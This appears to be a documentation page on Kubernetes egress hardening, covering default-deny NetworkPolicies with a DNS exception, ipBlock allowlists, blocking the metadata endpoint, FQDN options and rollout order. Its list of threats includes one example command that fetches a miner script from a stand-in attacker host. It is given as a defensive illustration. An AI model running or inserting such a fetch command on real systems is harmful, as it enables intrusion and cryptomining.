Network Security
Egress
Restricting where workloads are allowed to send traffic.
Ingress control decides who gets in. Egress control decides what a compromised workload can do next, and the honest answer in most clusters is: anything.
Nearly every real intrusion needs outbound traffic after the initial foothold:
- exfiltration: stolen data has to leave somehow
- command and control: the implant phones home for instructions
- tooling:
curl http://attacker.example/miner.shto fetch the second stage - lateral movement outward: the cloud metadata endpoint, internal APIs beyond the cluster
Default-deny egress converts a compromised pod from a beachhead into a dead end. It is also the control most teams skip, because it takes more care to roll out than ingress. The care is worth it.
Default-Deny Egress Needs A DNS Exception
The naive default-deny egress policy breaks everything instantly, because pods cannot even resolve names anymore. The workable baseline pairs the deny with a DNS allowance to kube-dns:
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: default-deny-egress
namespace: lab
spec:
podSelector: {}
policyTypes: ["Egress"]
egress:
- to:
- namespaceSelector:
matchLabels:
kubernetes.io/metadata.name: kube-system
podSelector:
matchLabels:
k8s-app: kube-dns
ports:
- protocol: UDP
port: 53
- protocol: TCP
port: 53
On a cluster with an enforcing CNI (see the Network Policies page; kind’s default CNI does not enforce), test it:
kubectl run client --image=busybox:1.36 -n lab --labels=app=client -- sleep 3600
kubectl exec -n lab client -- nslookup kubernetes.default.svc.cluster.local
kubectl exec -n lab client -- wget -qO- --timeout=2 http://example.com
Expected output:
Name: kubernetes.default.svc.cluster.local
Address 1: 10.96.0.1
...
wget: download timed out
command terminated with exit code 1
Names resolve; connections go nowhere. Exactly the posture you want as a starting point.
Allow Specific Destinations
Internal flows are allowed by label, same as ingress. External destinations use ipBlock:
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: allow-client-to-payments-api
namespace: lab
spec:
podSelector:
matchLabels:
app: client
policyTypes: ["Egress"]
egress:
- to:
- ipBlock:
cidr: 203.0.113.10/32
ports:
- protocol: TCP
port: 443
ipBlock also supports except for carve-outs. A common hardening move is allowing broad internet egress while blocking the cloud metadata endpoint:
- to:
- ipBlock:
cidr: 0.0.0.0/0
except: ["169.254.169.254/32"]
The FQDN Problem
Real dependencies are names, not CIDRs: api.stripe.com resolves to changing IPs behind a CDN. Vanilla NetworkPolicy has no answer for this. The options:
| Approach | Trade-off |
|---|---|
Cilium CiliumNetworkPolicy with toFQDNs | DNS-aware allowlists; requires Cilium |
| Calico Enterprise DNS policy | Same idea; paid feature |
| Egress gateway / forward proxy | All egress exits via a proxy that allowlists names; works with any CNI |
| Pin CIDRs | Only viable for stable, small ranges you control |
The proxy pattern deserves a look even on clusters with FQDN-capable CNIs: it gives you an audit log of every outbound request, which is detection gold.
Rollout Order
Egress deny breaks quietly: pods start failing on calls nobody documented. Roll out in this order:
- Inventory outbound flows first: flow logs from your CNI (Cilium Hubble, Calico flow logs) or a temporary allow-all policy with logging.
- Write the named allow policies for every legitimate flow you found.
- Apply default-deny-egress (with DNS) to one low-risk namespace; soak; fix what breaks.
- Expand namespace by namespace; new namespaces get the deny at provisioning time.
- Add the metadata-endpoint block everywhere, including namespaces not yet under full deny.
Clean Up
kubectl delete pod client -n lab
kubectl delete networkpolicy default-deny-egress allow-client-to-payments-api -n lab
Practical Guidance
- Treat egress control as a detection control too: denied egress attempts in CNI flow logs are one of the highest-signal alerts you can build.
- Always ship the DNS exception with the deny, or you will roll the whole thing back on day one.
- Block the cloud metadata endpoint (
169.254.169.254) from pods that do not need it; it is the classic pivot from pod compromise to cloud credentials. - Use FQDN policies or an egress proxy for external dependencies; hand-pinned CDN CIDRs rot within months.
- Namespace by namespace, inventory before deny; egress rollouts fail socially, not technically, when they break undocumented flows.